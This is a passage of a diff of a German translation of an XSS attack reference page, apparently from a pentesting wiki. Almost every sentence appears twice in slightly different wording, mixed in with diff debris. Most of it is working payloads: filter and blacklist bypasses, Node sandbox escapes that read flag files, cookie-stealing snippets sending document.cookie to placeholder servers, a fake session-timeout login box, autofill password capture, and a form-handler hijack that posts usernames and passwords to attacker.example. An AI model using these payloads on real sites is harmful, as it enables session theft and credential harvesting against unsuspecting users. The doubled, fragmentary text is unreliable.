This führt attacker JS aus, ohne den HTML-Kontext berühren zu müssen (pure JS-in-JS). Mit blacklist bypasses unten kombinieren, wenn Filter keywords blockieren.
|
||||
Dies führt attacker JS aus, ohne den HTML-Kontext zu berühren (reines JS-in-JS). Kombiniere es mit den untenstehenden blacklist bypasses, wenn Filter keywords blockieren.
|
||||
|
||||
### Template literals ``
|
||||
|
||||
Um **strings** zu erzeugen akzeptiert JS neben single und double quotes auch **backticks** **` `` `**. Dies ist als template literals bekannt, da sie das Einbetten von **embedded JS expressions** mittels `${ ... }`-Syntax erlauben.\
|
||||
Wenn dein Input also innerhalb eines JS-Strings, der backticks verwendet, **reflected** wird, kannst du die Syntax `${ ... }` missbrauchen, um **arbitrary JS code** auszuführen:
|
||||
Um **strings** zu konstruieren akzeptiert JS neben einfachen und doppelten Anführungszeichen auch **backticks** **` `` `**. Das ist als template literals bekannt, da sie die Einbettung von **JS expressions** mithilfe der `${ ... }`-Syntax erlauben.\
|
||||
Wenn du feststellst, dass deine Eingabe innerhalb eines JS-Strings, der backticks verwendet, **reflektiert** wird, kannst du die Syntax `${ ... }` missbrauchen, um **arbitrary JS code** auszuführen:
|
||||
|
||||
Das lässt sich wie folgt **missbrauchen**:
|
||||
Dies kann **missbraucht** werden mit:
|
||||
```javascript
|
||||
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
|
||||
```
|
||||
@ -526,27 +526,27 @@ return loop
|
||||
}
|
||||
loop``
|
||||
```
|
||||
### Encoded code execution
|
||||
### Kodierte Codeausführung
|
||||
```html
|
||||
<script>\u0061lert(1)</script>
|
||||
<svg><script>alert('1')
|
||||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||||
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
||||
```
|
||||
#### Lieferbare Payloads mit eval(atob()) und Scope‑Nuancen
|
||||
#### Auslieferbare payloads mit eval(atob()) und scope-Nuancen
|
||||
|
||||
Um URLs kürzer zu halten und naive Keyword-Filter zu umgehen, kannst du deine eigentliche Logik base64-codieren und mit `eval(atob('...'))` auswerten. Falls einfache Keyword-Filter Bezeichner wie `alert`, `eval` oder `atob` blockieren, verwende Unicode-escaped Bezeichner, die im Browser identisch kompiliert werden, aber String-Matching-Filter umgehen:
|
||||
Um URLs kürzer zu halten und naive keyword filters zu umgehen, kannst du deine eigentliche Logik base64-encode und mit `eval(atob('...'))` ausführen. Wenn einfache keyword filters Bezeichner wie `alert`, `eval` oder `atob` blockieren, verwende Unicode-escaped Bezeichner, die im Browser identisch kompiliert werden, aber string-matching filters umgehen:
|
||||
```
|
||||
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
|
||||
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
|
||||
```
|
||||
Wichtiger Scoping-Hinweis: `const`/`let` deklariert innerhalb von `eval()` sind block-scoped und erzeugen KEINE globals; sie sind für spätere Skripte nicht zugänglich. Verwende ein dynamisch injiziertes `<script>`-Element, um bei Bedarf globale, non-rebindable hooks zu definieren (z. B. um einen form handler zu hijacken):
|
||||
Wichtiger Scoping-Hinweis: `const`/`let`, die innerhalb von `eval()` deklariert werden, sind block-scoped und erzeugen KEINE globals; sie sind für spätere scripts nicht zugänglich. Verwende ein dynamisch injiziertes `<script>`-Element, um bei Bedarf global, non-rebindable hooks zu definieren (z. B., to hijack a form handler):
|
||||
```javascript
|
||||
var s = document.createElement('script');
|
||||
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
|
||||
document.head.appendChild(s);
|
||||
```
|
||||
Referenz: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
|
||||
Reference: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
|
||||
|
||||
### Unicode-kodierte JS-Ausführung
|
||||
```javascript
|
||||
@ -554,7 +554,7 @@ alert(1)
|
||||
alert(1)
|
||||
alert(1)
|
||||
```
|
||||
### JavaScript bypass blacklists Techniken
|
||||
### JavaScript-Techniken zum Umgehen von Blacklists
|
||||
|
||||
**Strings**
|
||||
```javascript
|
||||
@ -573,7 +573,7 @@ String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
|
||||
atob("dGhpc2lzYXN0cmluZw==")
|
||||
eval(8680439..toString(30))(983801..toString(36))
|
||||
```
|
||||
**Spezielle Escapes**
|
||||
**Spezielle Escape-Sequenzen**
|
||||
```javascript
|
||||
"\b" //backspace
|
||||
"\f" //form feed
|
||||
@ -587,12 +587,12 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
"\t" //tab
|
||||
// Any other char escaped is just itself
|
||||
```
|
||||
**Leerzeichenersetzungen innerhalb von JS-Code**
|
||||
**Leerzeichen-Ersetzungen innerhalb von JS-Code**
|
||||
```javascript
|
||||
<TAB>
|
||||
/**/
|
||||
```
|
||||
**JavaScript comments (aus** [**JavaScript Comments**](#javascript-comments) **Trick)**
|
||||
**JavaScript comments (aus dem** [**JavaScript Comments**](#javascript-comments) **Trick)**
|
||||
```javascript
|
||||
//This is a 1 line comment
|
||||
/* This is a multiline comment*/
|
||||
@ -600,7 +600,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**JavaScript Zeilenumbrüche (aus** [**JavaScript new line**](#javascript-new-lines) **dem Trick)**
|
||||
**JavaScript Zeilenumbrüche (aus dem** [**JavaScript new line**](#javascript-new-lines) **Trick)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10)
|
||||
@ -775,47 +775,47 @@ top['al\x65rt'](1)
|
||||
top[8680439..toString(30)](1)
|
||||
<svg><animate onbegin=alert() attributeName=x></svg>
|
||||
```
|
||||
## **DOM vulnerabilities**
|
||||
## **DOM-Schwachstellen**
|
||||
|
||||
Es gibt **JS code**, der **unsichere Daten verwendet, die von einem attacker kontrolliert werden**, wie `location.href`. Ein attacker könnte dies missbrauchen, um beliebigen JS code auszuführen.\
|
||||
**Due to the extension of the explanation of** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
|
||||
Es gibt **JS-Code**, der **unsichere, vom Angreifer kontrollierte Daten** wie `location.href` verwendet. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen.\
|
||||
**Aufgrund der ausführlicheren Erklärung von** [**DOM vulnerabilities wurde auf diese Seite verschoben**](dom-xss.md)**:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
{{#endref}}
|
||||
|
||||
Dort findest du eine ausführliche **Erklärung, was DOM vulnerabilities sind, wie sie provoziert werden und wie man sie ausnutzen kann**.\
|
||||
Außerdem findest du **am Ende des genannten Beitrags** eine Erklärung zu [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
|
||||
Dort findest du eine detaillierte **Erklärung, was DOM vulnerabilities sind, wie sie ausgelöst werden und wie man sie ausnutzt**.\
|
||||
Außerdem, vergiss nicht, dass **am Ende des genannten Beitrags** eine Erklärung zu [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering) zu finden ist.
|
||||
|
||||
### Upgrading Self-XSS
|
||||
### Self-XSS aufwerten
|
||||
|
||||
### Cookie XSS
|
||||
|
||||
If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a **vulnerable subdomain to XSS**, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:
|
||||
Wenn du eine XSS auslösen kannst, indem du die Payload in einem Cookie sendest, ist das normalerweise ein self-XSS. Wenn du jedoch eine **verwundbare Subdomain für XSS** findest, könntest du diese XSS dazu missbrauchen, ein Cookie für die gesamte Domain zu injizieren und so die Cookie XSS in der Hauptdomain oder anderen Subdomains (denen, die für Cookie XSS verwundbar sind) auszulösen. Dafür kannst du den cookie tossing attack verwenden:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
{{#endref}}
|
||||
|
||||
You can find a great abuse of this technique in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
Ein großartiges Beispiel für den Missbrauch dieser Technik findest du in [**diesem Blogpost**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
|
||||
### Sending your session to the admin
|
||||
### Deine Session an den Admin senden
|
||||
|
||||
Vielleicht kann ein user sein Profil mit dem admin teilen; befindet sich das Self-XSS im Profil des user und der admin greift darauf zu, löst er die Sicherheitslücke aus.
|
||||
Vielleicht kann ein Benutzer sein Profil mit dem Admin teilen. Wenn sich die self-XSS im Profil des Nutzers befindet und der Admin es aufruft, wird die Schwachstelle ausgelöst.
|
||||
|
||||
### Session Mirroring
|
||||
|
||||
Wenn du ein Self XSS findest und die Webseite eine **session mirroring for administrators** hat, z. B. wenn Clients um Hilfe bitten können und der admin dir helfen soll, sieht er genau das, was du in deiner session siehst, aber aus seiner session.
|
||||
Wenn du ein self-XSS findest und die Webseite ein **session mirroring für Administratoren** hat, z. B. Clients erlaubt, um Hilfe zu bitten, und damit der Admin dir helfen kann, sieht er, was du in deiner Session siehst, aber aus seiner Session.
|
||||
|
||||
Du könntest den **administrator dazu bringen, dein self XSS auszulösen** und so seine cookies/session stehlen.
|
||||
Du könntest den **Administrator dazu bringen, dein self-XSS auszulösen** und seine Cookies/Session zu stehlen.
|
||||
|
||||
## Andere Bypasses
|
||||
|
||||
### Normalised Unicode
|
||||
### Normalisierte Unicode
|
||||
|
||||
Du könntest prüfen, ob die **reflected values** auf dem Server (oder clientseitig) **unicode normalized** werden und diese Funktionalität ausnutzen, um Schutzmaßnahmen zu bypassen. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
|
||||
Du könntest prüfen, ob die **reflektierten Werte** auf dem Server (oder clientseitig) **unicode-normalisiert** werden und diese Funktionalität ausnutzen, um Schutzmechanismen zu umgehen. [**Ein Beispiel findest du hier**](../unicode-injection/index.html#xss-cross-site-scripting).
|
||||
|
||||
### PHP FILTER_VALIDATE_EMAIL flag Bypass
|
||||
```javascript
|
||||
@ -823,8 +823,8 @@ Du könntest prüfen, ob die **reflected values** auf dem Server (oder clientsei
|
||||
```
|
||||
### Ruby-On-Rails bypass
|
||||
|
||||
Aufgrund von **RoR mass assignment** werden Anführungszeichen in das HTML eingefügt, wodurch die Beschränkung durch Anführungszeichen umgangen wird und zusätzliche Felder (onfocus) innerhalb des Tags hinzugefügt werden können.\
|
||||
Formularbeispiel ([from this report](https://hackerone.com/reports/709336)), wenn du die Payload sendest:
|
||||
Aufgrund von **RoR mass assignment** werden Anführungszeichen in das HTML eingefügt, wodurch die Einschränkung durch Anführungszeichen umgangen wird und zusätzliche Felder (onfocus) innerhalb des Tags hinzugefügt werden können.\
|
||||
Formularbeispiel ([from this report](https://hackerone.com/reports/709336)), wenn du das payload sendest:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
@ -834,7 +834,7 @@ Das Paar "Key","Value" wird wie folgt zurückgegeben:
|
||||
```
|
||||
Dann wird das onfocus-Attribut eingefügt und XSS tritt auf.
|
||||
|
||||
### Besondere Kombinationen
|
||||
### Spezielle Kombinationen
|
||||
```html
|
||||
<iframe/src="data:text/html,<svg onload=alert(1)>">
|
||||
<input type=image src onerror="prompt(1)">
|
||||
@ -866,22 +866,22 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS mit Header-Injektion in einer 302-Antwort
|
||||
|
||||
If you find that you can **inject headers in a 302 Redirect response** you could try to **make the browser execute arbitrary JavaScript**. This is **not trivial** as modern browsers do not interpret the HTTP response body if the HTTP response status code is a 302, so just a cross-site scripting payload is useless.
|
||||
Wenn du feststellst, dass du **Header in eine 302 Redirect-Antwort injizieren** kannst, könntest du versuchen, den Browser dazu zu bringen, beliebiges JavaScript **auszuführen**. Das ist **nicht trivial**, da moderne Browser den HTTP-Antwort-Body nicht interpretieren, wenn der HTTP-Statuscode 302 ist, daher ist ein einfaches cross-site scripting-Payload nutzlos.
|
||||
|
||||
In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.\
|
||||
Bekannte bisherige Protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
|
||||
In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kannst du nachlesen, wie du mehrere Protokolle im Location-Header testen kannst und prüfen kannst, ob eines davon dem Browser erlaubt, das XSS-Payload im Body zu inspizieren und auszuführen.
|
||||
Früher bekannte Protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
|
||||
|
||||
### Only Letters, Numbers and Dots
|
||||
### Nur Buchstaben, Zahlen und Punkte
|
||||
|
||||
Wenn du den **callback** angeben kannst, den javascript ausführen wird, und dieser auf diese Zeichen beschränkt ist. [**Read this section of this post**](#javascript-function) um zu erfahren, wie man dieses Verhalten ausnutzen kann.
|
||||
Wenn du den **callback** angeben kannst, den JavaScript ausführen wird, und dieser auf diese Zeichen beschränkt ist. [**Read this section of this post**](#javascript-function) um zu erfahren, wie man dieses Verhalten ausnutzt.
|
||||
|
||||
### Valid `<script>` Content-Types to XSS
|
||||
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) If you try to load a script with a **content-type** such as `application/octet-stream`, Chrome will throw following error:
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Wenn du versuchst, ein Script mit einem **content-type** wie `application/octet-stream` zu laden, wird Chrome folgenden Fehler ausgeben:
|
||||
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||||
|
||||
Die einzigen **Content-Type**s, die Chrome erlauben, ein **geladenes script** auszuführen, sind jene, die in der const **`kSupportedJavascriptTypes`** aus [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) aufgeführt sind.
|
||||
Die einzigen **Content-Type**s, die Chrome unterstützen, ein **geladenes script** auszuführen, sind die in der const **`kSupportedJavascriptTypes`** aus [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
@ -905,14 +905,12 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
```
|
||||
### Script-Typen für XSS
|
||||
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Also, welche Typen könnten angegeben werden, um ein Script zu laden?
|
||||
(Aus [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Welche Typen könnten also angegeben werden, um ein Script zu laden?
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
Die Antwort ist:
|
||||
|
||||
- **module** (Standard, nichts zu erklären)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles ist eine Funktion, mit der du mehrere Daten (HTML, CSS, JS…) in einer **`.wbn`**-Datei zusammenfassen kannst.
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles ist eine Funktion, mit der du eine Menge Daten (HTML, CSS, JS…) zusammen in eine **`.wbn`**-Datei packen kannst.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
@ -922,7 +920,7 @@ Die Antwort ist:
|
||||
</script>
|
||||
The resources are loaded from the source .wbn, not accessed via HTTP
|
||||
```
|
||||
- [**importmap**](https://github.com/WICG/import-maps)**:** Ermöglicht die Verbesserung der import syntax
|
||||
- [**importmap**](https://github.com/WICG/import-maps)**:** Ermöglicht die Verbesserung der import-Syntax
|
||||
```html
|
||||
<script type="importmap">
|
||||
{
|
||||
@ -939,9 +937,9 @@ import moment from "moment"
|
||||
import { partition } from "lodash"
|
||||
</script>
|
||||
```
|
||||
Dieses Verhalten wurde in [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) verwendet, um eine Bibliothek auf eval umzuleiten; ihr Missbrauch kann XSS auslösen.
|
||||
Dieses Verhalten wurde in [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) verwendet, um eine Bibliothek auf eval umzuleiten, deren Missbrauch XSS auslösen kann.
|
||||
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Dieses Feature dient hauptsächlich dazu, einige Probleme zu lösen, die durch Pre-Rendering verursacht werden. Es funktioniert folgendermaßen:
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Diese Funktion dient hauptsächlich dazu, einige durch pre-rendering verursachte Probleme zu lösen. Sie funktioniert folgendermaßen:
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
@ -957,9 +955,9 @@ Dieses Verhalten wurde in [**this writeup**](https://github.com/zwade/yaca/tree/
|
||||
}
|
||||
</script>
|
||||
```
|
||||
### Web Content-Types to XSS
|
||||
### Web Content-Types für XSS
|
||||
|
||||
(Von [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Die folgenden Content-Types können in allen Browsern XSS ausführen:
|
||||
(Quelle: [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Die folgenden Content-Types können in allen Browsern XSS ausführen:
|
||||
|
||||
- text/html
|
||||
- application/xhtml+xml
|
||||
@ -967,14 +965,14 @@ Dieses Verhalten wurde in [**this writeup**](https://github.com/zwade/yaca/tree/
|
||||
- text/xml
|
||||
- image/svg+xml
|
||||
- text/plain (?? nicht in der Liste, aber ich glaube, ich habe das in einem CTF gesehen)
|
||||
- application/rss+xml (aus)
|
||||
- application/atom+xml (aus)
|
||||
- application/rss+xml (off)
|
||||
- application/atom+xml (off)
|
||||
|
||||
In anderen Browsern können andere **`Content-Types`** verwendet werden, um beliebiges JS auszuführen, siehe: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
In anderen Browsern können andere **`Content-Types`** verwendet werden, um beliebiges JS auszuführen. Siehe: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### xml Content Type
|
||||
|
||||
Wenn die Seite einen text/xml content-type zurückgibt, ist es möglich, einen Namespace anzugeben und beliebiges JS auszuführen:
|
||||
Wenn die Seite einen text/xml Content-Type zurückgibt, ist es möglich, einen Namespace anzugeben und beliebiges JS auszuführen:
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
@ -984,9 +982,9 @@ Wenn die Seite einen text/xml content-type zurückgibt, ist es möglich, einen N
|
||||
```
|
||||
### Spezielle Ersetzungsmuster
|
||||
|
||||
Wenn etwas wie **`"some {{template}} data".replace("{{template}}", <user_input>)`** verwendet wird, könnte ein Angreifer [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) nutzen, um einige Schutzmaßnahmen zu umgehen: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
Wenn etwas wie **`"some {{template}} data".replace("{{template}}", <user_input>)`** verwendet wird. Der Angreifer könnte [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) benutzen, um einige Schutzmaßnahmen zu umgehen: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
|
||||
Zum Beispiel wurde dies in [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) verwendet, um **einen JSON-String zu maskieren** innerhalb eines Scripts und beliebigen Code auszuführen.
|
||||
Zum Beispiel wurde dies in [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) verwendet, um einen JSON-String innerhalb eines Skripts zu escapen und beliebigen Code auszuführen.
|
||||
|
||||
### Chrome Cache to XSS
|
||||
|
||||
@ -997,7 +995,7 @@ chrome-cache-to-xss.md
|
||||
|
||||
### XS Jails Escape
|
||||
|
||||
Wenn du nur eine begrenzte Auswahl an Zeichen verwenden kannst, sieh dir diese anderen gültigen Lösungen für XSJail-Probleme an:
|
||||
Wenn du nur eine begrenzte Menge an chars zur Verfügung hast, sieh dir diese anderen gültigen Lösungen für XSJail-Probleme an:
|
||||
```javascript
|
||||
// eval + unescape + regex
|
||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||||
@ -1028,22 +1026,22 @@ constructor(source)()
|
||||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
Wenn **everything is undefined** vor der Ausführung von untrusted code ist (wie in [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), ist es möglich, nützliche Objekte "aus dem Nichts" zu erzeugen, um die Ausführung von arbitrary untrusted code zu missbrauchen:
|
||||
Wenn vor der Ausführung von untrusted code **everything is undefined** (wie in [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), ist es möglich, nützliche Objekte "aus dem Nichts" zu erzeugen, um die Ausführung von arbitrary untrusted code zu missbrauchen:
|
||||
|
||||
- Mit import()
|
||||
- Verwendung von import()
|
||||
```javascript
|
||||
// although import "fs" doesn’t work, import('fs') does.
|
||||
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
```
|
||||
- Indirekter Zugriff auf `require`
|
||||
- Accessing `require` indirectly
|
||||
|
||||
[Laut diesem](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) werden Module von Node.js innerhalb einer Funktion gekapselt, wie folgt:
|
||||
[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) werden Module von Node.js innerhalb einer Funktion eingeschlossen, wie folgt:
|
||||
```javascript
|
||||
;(function (exports, require, module, __filename, __dirname) {
|
||||
// our actual module code
|
||||
})
|
||||
```
|
||||
Wenn wir also von diesem Modul aus **eine andere Funktion aufrufen** können, ist es möglich, `arguments.callee.caller.arguments[1]` aus dieser Funktion zu verwenden, um auf **`require`** zuzugreifen:
|
||||
Daher, wenn wir von diesem Modul aus **eine andere Funktion aufrufen** können, ist es möglich, `arguments.callee.caller.arguments[1]` aus dieser Funktion zu verwenden, um auf **`require`** zuzugreifen:
|
||||
```javascript
|
||||
;(function () {
|
||||
return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
@ -1052,7 +1050,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
)
|
||||
})()
|
||||
```
|
||||
Auf ähnliche Weise wie im vorherigen Beispiel ist es möglich, **error handlers** zu verwenden, um auf den **wrapper** des Moduls zuzugreifen und die **`require`**-Funktion zu erhalten:
|
||||
Auf ähnliche Weise wie im vorherigen Beispiel ist es möglich, **Error-Handler** zu verwenden, um auf den **Wrapper** des Moduls zuzugreifen und die **`require`**-Funktion zu erhalten:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
@ -1271,7 +1269,7 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
|
||||
```javascript
|
||||
// It's also possible to execute JS code only with the chars: []`+!${}
|
||||
```
|
||||
## XSS häufige payloads
|
||||
## Häufige XSS payloads
|
||||
|
||||
### Mehrere payloads in 1
|
||||
|
||||
@ -1280,16 +1278,16 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
|
||||
steal-info-js.md
|
||||
{{#endref}}
|
||||
|
||||
### Iframe-Falle
|
||||
### Iframe Trap
|
||||
|
||||
Lässt den Nutzer auf der Seite navigieren, ohne ein iframe zu verlassen, und stiehlt seine Aktionen (einschließlich in Formularen übermittelter Informationen):
|
||||
Lässt den Benutzer auf der Seite navigieren, ohne das iframe zu verlassen, und stiehlt seine Aktionen (einschließlich in Formularen gesendeter Informationen):
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../iframe-traps.md
|
||||
{{#endref}}
|
||||
|
||||
### Cookies auslesen
|
||||
### Cookies abrufen
|
||||
```javascript
|
||||
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
|
||||
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
|
||||
@ -1312,7 +1310,7 @@ Lässt den Nutzer auf der Seite navigieren, ohne ein iframe zu verlassen, und st
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!TIP]
|
||||
> Du **kannst von JavaScript nicht auf die cookies zugreifen**, wenn das HTTPOnly-Flag im cookie gesetzt ist. Aber hier findest du [einige Möglichkeiten, diesen Schutz zu umgehen](../hacking-with-cookies/index.html#httponly), wenn du Glück hast.
|
||||
> Du **wirst nicht in der Lage sein, auf die cookies aus JavaScript zuzugreifen**, wenn das HTTPOnly flag im cookie gesetzt ist. Aber hier findest du [einige Wege, diesen Schutz zu umgehen](../hacking-with-cookies/index.html#httponly), wenn du genug Glück hast.
|
||||
|
||||
### Seiteninhalt stehlen
|
||||
```javascript
|
||||
@ -1403,15 +1401,15 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
||||
};
|
||||
}
|
||||
```
|
||||
_Kurze Zeiten weisen auf einen antwortenden Port hin_ _Längere Zeiten deuten auf keine Antwort hin._
|
||||
_Kurze Zeiten deuten auf einen antwortenden Port hin_ _Längere Zeiten deuten auf keine Antwort hin._
|
||||
|
||||
Überprüfe die Liste der in Chrome gesperrten Ports [**hier**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) und in Firefox [**hier**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
Überprüfe die Liste der in Chrome gesperrten Ports [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) und in Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
### Box zum Abfragen von Zugangsdaten
|
||||
### Box zum Anfordern von Zugangsdaten
|
||||
```html
|
||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||
```
|
||||
### Erfassen von Auto-Fill-Passwörtern
|
||||
### Auto-fill-Passwörter erfassen
|
||||
```javascript
|
||||
<b>Username:</><br>
|
||||
<input name=username id=username>
|
||||
@ -1422,11 +1420,11 @@ mode: 'no-cors',
|
||||
body:username.value+':'+this.value
|
||||
});">
|
||||
```
|
||||
Wenn im Passwortfeld irgendwelche Daten eingegeben werden, werden Benutzername und Passwort an den Server des Angreifers gesendet; selbst wenn der Client ein gespeichertes Passwort auswählt und nichts eingibt, werden die Anmeldedaten ex-filtrated.
|
||||
Wenn beliebige Daten in das Passwortfeld eingegeben werden, werden Benutzername und Passwort an den Server des Angreifers gesendet; selbst wenn der Client ein gespeichertes Passwort auswählt und nichts eintippt, werden die credentials ex-filtrated.
|
||||
|
||||
### Hijack form handlers to exfiltrate credentials (const shadowing)
|
||||
|
||||
Wenn ein kritischer Handler (z. B. `function DoLogin(){...}`) später auf der Seite deklariert wird, und dein payload früher ausgeführt wird (z. B. via einem inline JS-in-JS sink), definiere zuerst ein `const` mit demselben Namen, um den Handler vorzuverlegen und zu sperren. Spätere Funktionsdeklarationen können einen `const`-Namen nicht neu binden, wodurch dein hook die Kontrolle behält:
|
||||
Wenn ein kritischer Handler (z. B. `function DoLogin(){...}`) später auf der Seite deklariert wird und dein payload früher ausgeführt wird (z. B. via an inline JS-in-JS sink), definiere zuerst ein `const` mit demselben Namen, um den Handler vorwegzunehmen und zu sperren. Spätere Funktionsdeklarationen können einen `const`-Namen nicht neu binden, wodurch dein Hook die Kontrolle behält:
|
||||
```javascript
|
||||
const DoLogin = () => {
|
||||
const pwd = Trim(FormInput.InputPassword.value);
|
||||
@ -1435,9 +1433,9 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom
|
||||
};
|
